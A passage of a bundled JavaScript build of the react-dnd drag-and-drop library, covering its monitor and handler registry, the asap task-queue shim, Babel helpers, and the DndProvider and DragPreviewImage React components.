      dirtyHandlerIds: reduce$3(state.dirtyHandlerIds, {
        type: action.type,
        payload: _objectSpread$3(_objectSpread$3({}, action.payload), {}, {
          prevTargetIds: get(state, 'dragOperation.targetIds', [])
        })
      }),
      dragOffset: reduce(state.dragOffset, action),
      refCount: reduce$2(state.refCount, action),
      dragOperation: reduce$1(state.dragOperation, action),
      stateId: reduce$4(state.stateId)
    };
  }

  /**
   * Coordinate addition
   * @param a The first coordinate
   * @param b The second coordinate
   */
  function add(a, b) {
    return {
      x: a.x + b.x,
      y: a.y + b.y
    };
  }
  /**
   * Coordinate subtraction
   * @param a The first coordinate
   * @param b The second coordinate
   */

  function subtract(a, b) {
    return {
      x: a.x - b.x,
      y: a.y - b.y
    };
  }
  /**
   * Returns the cartesian distance of the drag source component's position, based on its position
   * at the time when the current drag operation has started, and the movement difference.
   *
   * Returns null if no item is being dragged.
   *
   * @param state The offset state to compute from
   */

  function getSourceClientOffset(state) {
    var clientOffset = state.clientOffset,
        initialClientOffset = state.initialClientOffset,
        initialSourceClientOffset = state.initialSourceClientOffset;

    if (!clientOffset || !initialClientOffset || !initialSourceClientOffset) {
      return null;
    }

    return subtract(add(clientOffset, initialSourceClientOffset), initialClientOffset);
  }
  /**
   * Determines the x,y offset between the client offset and the initial client offset
   *
   * @param state The offset state to compute from
   */

  function getDifferenceFromInitialOffset(state) {
    var clientOffset = state.clientOffset,
        initialClientOffset = state.initialClientOffset;

    if (!clientOffset || !initialClientOffset) {
      return null;
    }

    return subtract(clientOffset, initialClientOffset);
  }

  function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

  function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }

  function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }
  var DragDropMonitorImpl = /*#__PURE__*/function () {
    function DragDropMonitorImpl(store, registry) {
      _classCallCheck(this, DragDropMonitorImpl);

      this.store = store;
      this.registry = registry;
    }

    _createClass(DragDropMonitorImpl, [{
      key: "subscribeToStateChange",
      value: function subscribeToStateChange(listener) {
        var _this = this;

        var options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {
          handlerIds: undefined
        };
        var handlerIds = options.handlerIds;
        invariant(typeof listener === 'function', 'listener must be a function.');
        invariant(typeof handlerIds === 'undefined' || Array.isArray(handlerIds), 'handlerIds, when specified, must be an array of strings.');
        var prevStateId = this.store.getState().stateId;

        var handleChange = function handleChange() {
          var state = _this.store.getState();

          var currentStateId = state.stateId;

          try {
            var canSkipListener = currentStateId === prevStateId || currentStateId === prevStateId + 1 && !areDirty(state.dirtyHandlerIds, handlerIds);

            if (!canSkipListener) {
              listener();
            }
          } finally {
            prevStateId = currentStateId;
          }
        };

        return this.store.subscribe(handleChange);
      }
    }, {
      key: "subscribeToOffsetChange",
      value: function subscribeToOffsetChange(listener) {
        var _this2 = this;

        invariant(typeof listener === 'function', 'listener must be a function.');
        var previousState = this.store.getState().dragOffset;

        var handleChange = function handleChange() {
          var nextState = _this2.store.getState().dragOffset;

          if (nextState === previousState) {
            return;
          }

          previousState = nextState;
          listener();
        };

        return this.store.subscribe(handleChange);
      }
    }, {
      key: "canDragSource",
      value: function canDragSource(sourceId) {
        if (!sourceId) {
          return false;
        }

        var source = this.registry.getSource(sourceId);
        invariant(source, 'Expected to find a valid source.');

        if (this.isDragging()) {
          return false;
        }

        return source.canDrag(this, sourceId);
      }
    }, {
      key: "canDropOnTarget",
      value: function canDropOnTarget(targetId) {
        // undefined on initial render
        if (!targetId) {
          return false;
        }

        var target = this.registry.getTarget(targetId);
        invariant(target, 'Expected to find a valid target.');

        if (!this.isDragging() || this.didDrop()) {
          return false;
        }

        var targetType = this.registry.getTargetType(targetId);
        var draggedItemType = this.getItemType();
        return matchesType(targetType, draggedItemType) && target.canDrop(this, targetId);
      }
    }, {
      key: "isDragging",
      value: function isDragging() {
        return Boolean(this.getItemType());
      }
    }, {
      key: "isDraggingSource",
      value: function isDraggingSource(sourceId) {
        // undefined on initial render
        if (!sourceId) {
          return false;
        }

        var source = this.registry.getSource(sourceId, true);
        invariant(source, 'Expected to find a valid source.');

        if (!this.isDragging() || !this.isSourcePublic()) {
          return false;
        }

        var sourceType = this.registry.getSourceType(sourceId);
        var draggedItemType = this.getItemType();

        if (sourceType !== draggedItemType) {
          return false;
        }

        return source.isDragging(this, sourceId);
      }
    }, {
      key: "isOverTarget",
      value: function isOverTarget(targetId) {
        var options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {
          shallow: false
        };

        // undefined on initial render
        if (!targetId) {
          return false;
        }

        var shallow = options.shallow;

        if (!this.isDragging()) {
          return false;
        }

        var targetType = this.registry.getTargetType(targetId);
        var draggedItemType = this.getItemType();

        if (draggedItemType && !matchesType(targetType, draggedItemType)) {
          return false;
        }

        var targetIds = this.getTargetIds();

        if (!targetIds.length) {
          return false;
        }

        var index = targetIds.indexOf(targetId);

        if (shallow) {
          return index === targetIds.length - 1;
        } else {
          return index > -1;
        }
      }
    }, {
      key: "getItemType",
      value: function getItemType() {
        return this.store.getState().dragOperation.itemType;
      }
    }, {
      key: "getItem",
      value: function getItem() {
        return this.store.getState().dragOperation.item;
      }
    }, {
      key: "getSourceId",
      value: function getSourceId() {
        return this.store.getState().dragOperation.sourceId;
      }
    }, {
      key: "getTargetIds",
      value: function getTargetIds() {
        return this.store.getState().dragOperation.targetIds;
      }
    }, {
      key: "getDropResult",
      value: function getDropResult() {
        return this.store.getState().dragOperation.dropResult;
      }
    }, {
      key: "didDrop",
      value: function didDrop() {
        return this.store.getState().dragOperation.didDrop;
      }
    }, {
      key: "isSourcePublic",
      value: function isSourcePublic() {
        return Boolean(this.store.getState().dragOperation.isSourcePublic);
      }
    }, {
      key: "getInitialClientOffset",
      value: function getInitialClientOffset() {
        return this.store.getState().dragOffset.initialClientOffset;
      }
    }, {
      key: "getInitialSourceClientOffset",
      value: function getInitialSourceClientOffset() {
        return this.store.getState().dragOffset.initialSourceClientOffset;
      }
    }, {
      key: "getClientOffset",
      value: function getClientOffset() {
        return this.store.getState().dragOffset.clientOffset;
      }
    }, {
      key: "getSourceClientOffset",
      value: function getSourceClientOffset$1() {
        return getSourceClientOffset(this.store.getState().dragOffset);
      }
    }, {
      key: "getDifferenceFromInitialOffset",
      value: function getDifferenceFromInitialOffset$1() {
        return getDifferenceFromInitialOffset(this.store.getState().dragOffset);
      }
    }]);

    return DragDropMonitorImpl;
  }();

  var nextUniqueId = 0;
  function getNextUniqueId() {
    return nextUniqueId++;
  }

  function _typeof$1(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof$1 = function _typeof(obj) { return typeof obj; }; } else { _typeof$1 = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof$1(obj); }
  function validateSourceContract(source) {
    invariant(typeof source.canDrag === 'function', 'Expected canDrag to be a function.');
    invariant(typeof source.beginDrag === 'function', 'Expected beginDrag to be a function.');
    invariant(typeof source.endDrag === 'function', 'Expected endDrag to be a function.');
  }
  function validateTargetContract(target) {
    invariant(typeof target.canDrop === 'function', 'Expected canDrop to be a function.');
    invariant(typeof target.hover === 'function', 'Expected hover to be a function.');
    invariant(typeof target.drop === 'function', 'Expected beginDrag to be a function.');
  }
  function validateType(type, allowArray) {
    if (allowArray && Array.isArray(type)) {
      type.forEach(function (t) {
        return validateType(t, false);
      });
      return;
    }

    invariant(typeof type === 'string' || _typeof$1(type) === 'symbol', allowArray ? 'Type can only be a string, a symbol, or an array of either.' : 'Type can only be a string or a symbol.');
  }

  // Use the fastest means possible to execute a task in its own turn, with
  // priority over other events including IO, animation, reflow, and redraw
  // events in browsers.
  //
  // An exception thrown by a task will permanently interrupt the processing of
  // subsequent tasks. The higher level `asap` function ensures that if an
  // exception is thrown by a task, that the task queue will continue flushing as
  // soon as possible, but if you use `rawAsap` directly, you are responsible to
  // either ensure that no exceptions are thrown from your task, or to manually
  // call `rawAsap.requestFlush` if an exception is thrown.
  function rawAsap(task) {
    if (!queue.length) {
      requestFlush();
    } // Equivalent to push, but avoids a function call.


    queue[queue.length] = task;
  }
  var queue = []; // Once a flush has been requested, no further calls to `requestFlush` are
  // off a `flush` event as quickly as possible. `flush` will attempt to exhaust
  // the event queue before yielding to the browser's own event loop.

  var requestFlush; // The position of the next task to execute in the task queue. This is
  // preserved between calls to `flush` so that it can be resumed if
  // a task throws an exception.

  var index = 0; // If a task schedules additional tasks recursively, the task queue can grow
  // unbounded. To prevent memory exhaustion, the task queue will periodically
  // truncate already-completed tasks.

  var capacity = 1024; // The flush function processes all tasks that have been scheduled with
  // `rawAsap` unless and until one of those tasks throws an exception.
  // If a task throws an exception, `flush` ensures that its state will remain
  // consistent and will resume where it left off when called again.
  // However, `flush` does not make any arrangements to be called again if an
  // exception is thrown.

  function flush() {
    while (index < queue.length) {
      var currentIndex = index; // Advance the index before calling the task. This ensures that we will
      // begin flushing on the next task the task throws an error.

      index = index + 1;
      queue[currentIndex].call(); // Prevent leaking memory for long chains of recursive calls to `asap`.
      // If we call `asap` within tasks scheduled by `asap`, the queue will
      // grow, but to avoid an O(n) walk for every task we execute, we don't
      // shift tasks off the queue after they have been executed.
      // Instead, we periodically shift 1024 tasks off the queue.

      if (index > capacity) {
        // Manually shift all values starting at the index back to the
        // beginning of the queue.
        for (var scan = 0, newLength = queue.length - index; scan < newLength; scan++) {
          queue[scan] = queue[scan + index];
        }

        queue.length -= index;
        index = 0;
      }
    }

    queue.length = 0;
    index = 0;
  } // `requestFlush` is implemented using a strategy based on data collected from
  // every available SauceLabs Selenium web driver worker at time of writing.
  // https://docs.google.com/spreadsheets/d/1mG-5UYGup5qxGdEMWkhP6BWCz053NUb2E1QoUTU16uA/edit#gid=783724593
  // Safari 6 and 6.1 for desktop, iPad, and iPhone are the only browsers that
  // have WebKitMutationObserver but not un-prefixed MutationObserver.
  // Must use `global` or `self` instead of `window` to work in both frames and web
  // workers. `global` is a provision of Browserify, Mr, Mrs, or Mop.

  /* globals self */


  var scope = typeof global !== 'undefined' ? global : self;
  var BrowserMutationObserver = scope.MutationObserver || scope.WebKitMutationObserver; // MutationObservers are desirable because they have high priority and work
  // reliably everywhere they are implemented.
  // They are implemented in all modern browsers.
  //
  // - Android 4-4.3
  // - Chrome 26-34
  // - Firefox 14-29
  // - Internet Explorer 11
  // - iPad Safari 6-7.1
  // - iPhone Safari 7-7.1
  // - Safari 6-7

  if (typeof BrowserMutationObserver === 'function') {
    requestFlush = makeRequestCallFromMutationObserver(flush); // MessageChannels are desirable because they give direct access to the HTML
    // task queue, are implemented in Internet Explorer 10, Safari 5.0-1, and Opera
    // 11-12, and in web workers in many engines.
    // Although message channels yield to any queued rendering and IO tasks, they
    // would be better than imposing the 4ms delay of timers.
    // However, they do not work reliably in Internet Explorer or Safari.
    // Internet Explorer 10 is the only browser that has setImmediate but does
    // not have MutationObservers.
    // Although setImmediate yields to the browser's renderer, it would be
    // preferrable to falling back to setTimeout since it does not have
    // the minimum 4ms penalty.
    // Unfortunately there appears to be a bug in Internet Explorer 10 Mobile (and
    // Desktop to a lesser extent) that renders both setImmediate and
    // MessageChannel useless for the purposes of ASAP.
    // https://github.com/kriskowal/q/issues/396
    // Timers are implemented universally.
    // We fall back to timers in workers in most engines, and in foreground
    // contexts in the following browsers.
    // However, note that even this simple case requires nuances to operate in a
    // broad spectrum of browsers.
    //
    // - Firefox 3-13
    // - Internet Explorer 6-9
    // - iPad Safari 4.3
    // - Lynx 2.8.7
  } else {
    requestFlush = makeRequestCallFromTimer(flush);
  } // `requestFlush` requests that the high priority event queue be flushed as
  // soon as possible.
  // This is useful to prevent an error thrown in a task from stalling the event
  // queue if the exception handled by Node.js’s
  // `process.on("uncaughtException")` or by a domain.


  rawAsap.requestFlush = requestFlush; // To request a high priority event, we induce a mutation observer by toggling
  // the text of a text node between "1" and "-1".

  function makeRequestCallFromMutationObserver(callback) {
    var toggle = 1;
    var observer = new BrowserMutationObserver(callback);
    var node = document.createTextNode('');
    observer.observe(node, {
      characterData: true
    });
    return function requestCall() {
      toggle = -toggle;
      node.data = toggle;
    };
  } // The message channel technique was discovered by Malte Ubl and was the
  // original foundation for this library.
  // http://www.nonblocking.io/2011/06/windownexttick.html
  // Safari 6.0.5 (at least) intermittently fails to create message ports on a
  // page's first load. Thankfully, this version of Safari supports
  // MutationObservers, so we don't need to fall back in that case.
  // function makeRequestCallFromMessageChannel(callback) {
  //     var channel = new MessageChannel();
  //     channel.port1.onmessage = callback;
  //     return function requestCall() {
  //         channel.port2.postMessage(0);
  //     };
  // }
  // For reasons explained above, we are also unable to use `setImmediate`
  // under any circumstances.
  // Even if we were, there is another bug in Internet Explorer 10.
  // It is not sufficient to assign `setImmediate` to `requestFlush` because
  // `setImmediate` must be called *by name* and therefore must be wrapped in a
  // closure.
  // Never forget.
  // function makeRequestCallFromSetImmediate(callback) {
  //     return function requestCall() {
  //         setImmediate(callback);
  //     };
  // }
  // Safari 6.0 has a problem where timers will get lost while the user is
  // scrolling. This problem does not impact ASAP because Safari 6.0 supports
  // mutation observers, so that implementation is used instead.
  // However, if we ever elect to use timers in Safari, the prevalent work-around
  // is to add a scroll event listener that calls for a flush.
  // `setTimeout` does not call the passed callback if the delay is less than
  // approximately 7 in web workers in Firefox 8 through 18, and sometimes not
  // even then.


  function makeRequestCallFromTimer(callback) {
    return function requestCall() {
      // We dispatch a timeout with a specified delay of 0 for engines that
      // can reliably accommodate that request. This will usually be snapped
      // to a 4 milisecond delay, but once we're flushing, there's no delay
      // between events.
      var timeoutHandle = setTimeout(handleTimer, 0); // However, since this timer gets frequently dropped in Firefox
      // workers, we enlist an interval handle that will try to fire
      // an event 20 times per second until it succeeds.

      var intervalHandle = setInterval(handleTimer, 50);

      function handleTimer() {
        // Whichever timer succeeds will cancel both timers and
        // execute the callback.
        clearTimeout(timeoutHandle);
        clearInterval(intervalHandle);
        callback();
      }
    };
  } // This is for `asap.js` only.
  // Its name will be periodically randomized to break any code that depends on
  // its existence.


  rawAsap.makeRequestCallFromTimer = makeRequestCallFromTimer; // ASAP was originally a nextTick shim included in Q. This was factored out
  // into this ASAP package. It was later adapted to RSVP which made further
  // amendments. These decisions, particularly to marginalize MessageChannel and
  // to capture the MutationObserver implementation in a closure, were integrated
  // back into ASAP proper.
  // https://github.com/tildeio/rsvp.js/blob/cddf7232546a9cf858524b75cde6f9edf72620a7/lib/rsvp/asap.js

  // RawTasks are recycled to reduce GC churn.

  var freeTasks = []; // We queue errors to ensure they are thrown in right order (FIFO).
  // Array-as-queue is good enough here, since we are just dealing with exceptions.

  var pendingErrors = [];
  var requestErrorThrow = rawAsap.makeRequestCallFromTimer(throwFirstError);

  function throwFirstError() {
    if (pendingErrors.length) {
      throw pendingErrors.shift();
    }
  }
  /**
   * Calls a task as soon as possible after returning, in its own event, with priority
   * over other events like animation, reflow, and repaint. An error thrown from an
   * event will not interrupt, nor even substantially slow down the processing of
   * other events, but will be rather postponed to a lower priority event.
   * @param {{call}} task A callable object, typically a function that takes no
   * arguments.
   */


  function asap(task) {
    var rawTask;

    if (freeTasks.length) {
      rawTask = freeTasks.pop();
    } else {
      rawTask = new RawTask();
    }

    rawTask.task = task;
    rawAsap(rawTask);
  } // We wrap tasks with recyclable task objects.  A task object implements
  // `call`, just like a function.

  var RawTask =
  /** @class */
  function () {
    function RawTask() {}

    RawTask.prototype.call = function () {
      try {
        this.task.call();
      } catch (error) {
        if (asap.onerror) {
          // This hook exists purely for testing purposes.
          // Its name will be periodically randomized to break any code that
          // depends on its existence.
          asap.onerror(error);
        } else {
          // In a web browser, exceptions are not fatal. However, to avoid
          // slowing down the queue of pending tasks, we rethrow the error in a
          // lower priority turn.
          pendingErrors.push(error);
          requestErrorThrow();
        }
      } finally {
        this.task = null;
        freeTasks[freeTasks.length] = this;
      }
    };

    return RawTask;
  }();

  function _classCallCheck$1(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

  function _defineProperties$1(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }

  function _createClass$1(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties$1(Constructor.prototype, protoProps); if (staticProps) _defineProperties$1(Constructor, staticProps); return Constructor; }

  function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _unsupportedIterableToArray(arr, i) || _nonIterableRest(); }

  function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); }

  function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen); }

  function _arrayLikeToArray(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; }

  function _iterableToArrayLimit(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; }

  function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; }

  function getNextHandlerId(role) {
    var id = getNextUniqueId().toString();

    switch (role) {
      case HandlerRole.SOURCE:
        return "S".concat(id);

      case HandlerRole.TARGET:
        return "T".concat(id);

      default:
        throw new Error("Unknown Handler Role: ".concat(role));
    }
  }

  function parseRoleFromHandlerId(handlerId) {
    switch (handlerId[0]) {
      case 'S':
        return HandlerRole.SOURCE;

      case 'T':
        return HandlerRole.TARGET;

      default:
        invariant(false, "Cannot parse handler ID: ".concat(handlerId));
    }
  }

  function mapContainsValue(map, searchValue) {
    var entries = map.entries();
    var isDone = false;

    do {
      var _entries$next = entries.next(),
          done = _entries$next.done,
          _entries$next$value = _slicedToArray(_entries$next.value, 2),
          value = _entries$next$value[1];

      if (value === searchValue) {
        return true;
      }

      isDone = !!done;
    } while (!isDone);

    return false;
  }

  var HandlerRegistryImpl = /*#__PURE__*/function () {
    function HandlerRegistryImpl(store) {
      _classCallCheck$1(this, HandlerRegistryImpl);

      this.types = new Map();
      this.dragSources = new Map();
      this.dropTargets = new Map();
      this.pinnedSourceId = null;
      this.pinnedSource = null;
      this.store = store;
    }

    _createClass$1(HandlerRegistryImpl, [{
      key: "addSource",
      value: function addSource$1(type, source) {
        validateType(type);
        validateSourceContract(source);
        var sourceId = this.addHandler(HandlerRole.SOURCE, type, source);
        this.store.dispatch(addSource(sourceId));
        return sourceId;
      }
    }, {
      key: "addTarget",
      value: function addTarget$1(type, target) {
        validateType(type, true);
        validateTargetContract(target);
        var targetId = this.addHandler(HandlerRole.TARGET, type, target);
        this.store.dispatch(addTarget(targetId));
        return targetId;
      }
    }, {
      key: "containsHandler",
      value: function containsHandler(handler) {
        return mapContainsValue(this.dragSources, handler) || mapContainsValue(this.dropTargets, handler);
      }
    }, {
      key: "getSource",
      value: function getSource(sourceId) {
        var includePinned = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false;
        invariant(this.isSourceId(sourceId), 'Expected a valid source ID.');
        var isPinned = includePinned && sourceId === this.pinnedSourceId;
        var source = isPinned ? this.pinnedSource : this.dragSources.get(sourceId);
        return source;
      }
    }, {
      key: "getTarget",
      value: function getTarget(targetId) {
        invariant(this.isTargetId(targetId), 'Expected a valid target ID.');
        return this.dropTargets.get(targetId);
      }
    }, {
      key: "getSourceType",
      value: function getSourceType(sourceId) {
        invariant(this.isSourceId(sourceId), 'Expected a valid source ID.');
        return this.types.get(sourceId);
      }
    }, {
      key: "getTargetType",
      value: function getTargetType(targetId) {
        invariant(this.isTargetId(targetId), 'Expected a valid target ID.');
        return this.types.get(targetId);
      }
    }, {
      key: "isSourceId",
      value: function isSourceId(handlerId) {
        var role = parseRoleFromHandlerId(handlerId);
        return role === HandlerRole.SOURCE;
      }
    }, {
      key: "isTargetId",
      value: function isTargetId(handlerId) {
        var role = parseRoleFromHandlerId(handlerId);
        return role === HandlerRole.TARGET;
      }
    }, {
      key: "removeSource",
      value: function removeSource$1(sourceId) {
        var _this = this;

        invariant(this.getSource(sourceId), 'Expected an existing source.');
        this.store.dispatch(removeSource(sourceId));
        asap(function () {
          _this.dragSources.delete(sourceId);

          _this.types.delete(sourceId);
        });
      }
    }, {
      key: "removeTarget",
      value: function removeTarget$1(targetId) {
        invariant(this.getTarget(targetId), 'Expected an existing target.');
        this.store.dispatch(removeTarget(targetId));
        this.dropTargets.delete(targetId);
        this.types.delete(targetId);
      }
    }, {
      key: "pinSource",
      value: function pinSource(sourceId) {
        var source = this.getSource(sourceId);
        invariant(source, 'Expected an existing source.');
        this.pinnedSourceId = sourceId;
        this.pinnedSource = source;
      }
    }, {
      key: "unpinSource",
      value: function unpinSource() {
        invariant(this.pinnedSource, 'No source is pinned at the time.');
        this.pinnedSourceId = null;
        this.pinnedSource = null;
      }
    }, {
      key: "addHandler",
      value: function addHandler(role, type, handler) {
        var id = getNextHandlerId(role);
        this.types.set(id, type);

        if (role === HandlerRole.SOURCE) {
          this.dragSources.set(id, handler);
        } else if (role === HandlerRole.TARGET) {
          this.dropTargets.set(id, handler);
        }

        return id;
      }
    }]);

    return HandlerRegistryImpl;
  }();

  function _classCallCheck$2(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

  function _defineProperties$2(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }

  function _createClass$2(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties$2(Constructor.prototype, protoProps); if (staticProps) _defineProperties$2(Constructor, staticProps); return Constructor; }

  function makeStoreInstance(debugMode) {
    // TODO: if we ever make a react-native version of this,
    // we'll need to consider how to pull off dev-tooling
    var reduxDevTools = typeof window !== 'undefined' && window.__REDUX_DEVTOOLS_EXTENSION__;
    return createStore(reduce$5, debugMode && reduxDevTools && reduxDevTools({
      name: 'dnd-core',
      instanceId: 'dnd-core'
    }));
  }

  var DragDropManagerImpl = /*#__PURE__*/function () {
    function DragDropManagerImpl() {
      var _this = this;

      var debugMode = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false;

      _classCallCheck$2(this, DragDropManagerImpl);

      this.isSetUp = false;

      this.handleRefCountChange = function () {
        var shouldSetUp = _this.store.getState().refCount > 0;

        if (_this.backend) {
          if (shouldSetUp && !_this.isSetUp) {
            _this.backend.setup();

            _this.isSetUp = true;
          } else if (!shouldSetUp && _this.isSetUp) {
            _this.backend.teardown();

            _this.isSetUp = false;
          }
        }
      };

      var store = makeStoreInstance(debugMode);
      this.store = store;
      this.monitor = new DragDropMonitorImpl(store, new HandlerRegistryImpl(store));
      store.subscribe(this.handleRefCountChange);
    }

    _createClass$2(DragDropManagerImpl, [{
      key: "receiveBackend",
      value: function receiveBackend(backend) {
        this.backend = backend;
      }
    }, {
      key: "getMonitor",
      value: function getMonitor() {
        return this.monitor;
      }
    }, {
      key: "getBackend",
      value: function getBackend() {
        return this.backend;
      }
    }, {
      key: "getRegistry",
      value: function getRegistry() {
        return this.monitor.registry;
      }
    }, {
      key: "getActions",
      value: function getActions() {
        /* eslint-disable-next-line @typescript-eslint/no-this-alias */
        var manager = this;
        var dispatch = this.store.dispatch;

        function bindActionCreator(actionCreator) {
          return function () {
            for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
              args[_key] = arguments[_key];
            }

            var action = actionCreator.apply(manager, args);

            if (typeof action !== 'undefined') {
              dispatch(action);
            }
          };
        }

        var actions = createDragDropActions(this);
        return Object.keys(actions).reduce(function (boundActions, key) {
          var action = actions[key];
          boundActions[key] = bindActionCreator(action);
          return boundActions;
        }, {});
      }
    }, {
      key: "dispatch",
      value: function dispatch(action) {
        this.store.dispatch(action);
      }
    }]);

    return DragDropManagerImpl;
  }();

  function createDragDropManager(backendFactory, globalContext, backendOptions, debugMode) {
    var manager = new DragDropManagerImpl(debugMode);
    var backend = backendFactory(manager, globalContext, backendOptions);
    manager.receiveBackend(backend);
    return manager;
  }

  /**
   * Create the React Context
   */

  var DndContext = React.createContext({
    dragDropManager: undefined
  });
  /**
   * Creates the context object we're providing
   * @param backend
   * @param context
   */

  function createDndContext(backend, context, options, debugMode) {
    return {
      dragDropManager: createDragDropManager(backend, context, options, debugMode)
    };
  }

  function _slicedToArray$1(arr, i) { return _arrayWithHoles$1(arr) || _iterableToArrayLimit$1(arr, i) || _unsupportedIterableToArray$1(arr, i) || _nonIterableRest$1(); }

  function _nonIterableRest$1() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); }

  function _unsupportedIterableToArray$1(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray$1(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray$1(o, minLen); }

  function _arrayLikeToArray$1(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; }

  function _iterableToArrayLimit$1(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; }

  function _arrayWithHoles$1(arr) { if (Array.isArray(arr)) return arr; }

  function _objectWithoutProperties(source, excluded) { if (source == null) return {}; var target = _objectWithoutPropertiesLoose(source, excluded); var key, i; if (Object.getOwnPropertySymbols) { var sourceSymbolKeys = Object.getOwnPropertySymbols(source); for (i = 0; i < sourceSymbolKeys.length; i++) { key = sourceSymbolKeys[i]; if (excluded.indexOf(key) >= 0) continue; if (!Object.prototype.propertyIsEnumerable.call(source, key)) continue; target[key] = source[key]; } } return target; }

  function _objectWithoutPropertiesLoose(source, excluded) { if (source == null) return {}; var target = {}; var sourceKeys = Object.keys(source); var key, i; for (i = 0; i < sourceKeys.length; i++) { key = sourceKeys[i]; if (excluded.indexOf(key) >= 0) continue; target[key] = source[key]; } return target; }
  var refCount = 0;
  /**
   * A React component that provides the React-DnD context
   */

  var DndProvider = React.memo(function (_ref) {
    var children = _ref.children,
        props = _objectWithoutProperties(_ref, ["children"]);

    var _getDndContextValue = getDndContextValue(props),
        _getDndContextValue2 = _slicedToArray$1(_getDndContextValue, 2),
        manager = _getDndContextValue2[0],
        isGlobalInstance = _getDndContextValue2[1]; // memoized from props

    /**
     * If the global context was used to store the DND context
     * then where theres no more references to it we should
     * clean it up to avoid memory leaks
     */


    React.useEffect(function () {
      if (isGlobalInstance) {
        refCount++;
      }

      return function () {
        if (isGlobalInstance) {
          refCount--;

          if (refCount === 0) {
            var context = getGlobalContext();
            context[instanceSymbol] = null;
          }
        }
      };
    }, []);
    return React.createElement(DndContext.Provider, {
      value: manager
    }, children);
  });
  DndProvider.displayName = 'DndProvider';

  function getDndContextValue(props) {
    if ('manager' in props) {
      var _manager = {
        dragDropManager: props.manager
      };
      return [_manager, false];
    }

    var manager = createSingletonDndContext(props.backend, props.context, props.options, props.debugMode);
    var isGlobalInstance = !props.context;
    return [manager, isGlobalInstance];
  }

  var instanceSymbol = Symbol.for('__REACT_DND_CONTEXT_INSTANCE__');

  function createSingletonDndContext(backend) {
    var context = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : getGlobalContext();
    var options = arguments.length > 2 ? arguments[2] : undefined;
    var debugMode = arguments.length > 3 ? arguments[3] : undefined;
    var ctx = context;

    if (!ctx[instanceSymbol]) {
      ctx[instanceSymbol] = createDndContext(backend, context, options, debugMode);
    }

    return ctx[instanceSymbol];
  }

  function getGlobalContext() {
    return typeof global !== 'undefined' ? global : window;
  }

  /*
   * A utility for rendering a drag preview image
   */

  var DragPreviewImage = React.memo(function (_ref) {
    var connect = _ref.connect,
        src = _ref.src;
    React.useEffect(function () {
      if (typeof Image === 'undefined') return;
      var connected = false;
      var img = new Image();
      img.src = src;

      img.onload = function () {
        connect(img);
        connected = true;
      };

      return function () {
        if (connected) {
          connect(null);
        }
      };
    });
    return null;
  });
  DragPreviewImage.displayName = 'DragPreviewImage';

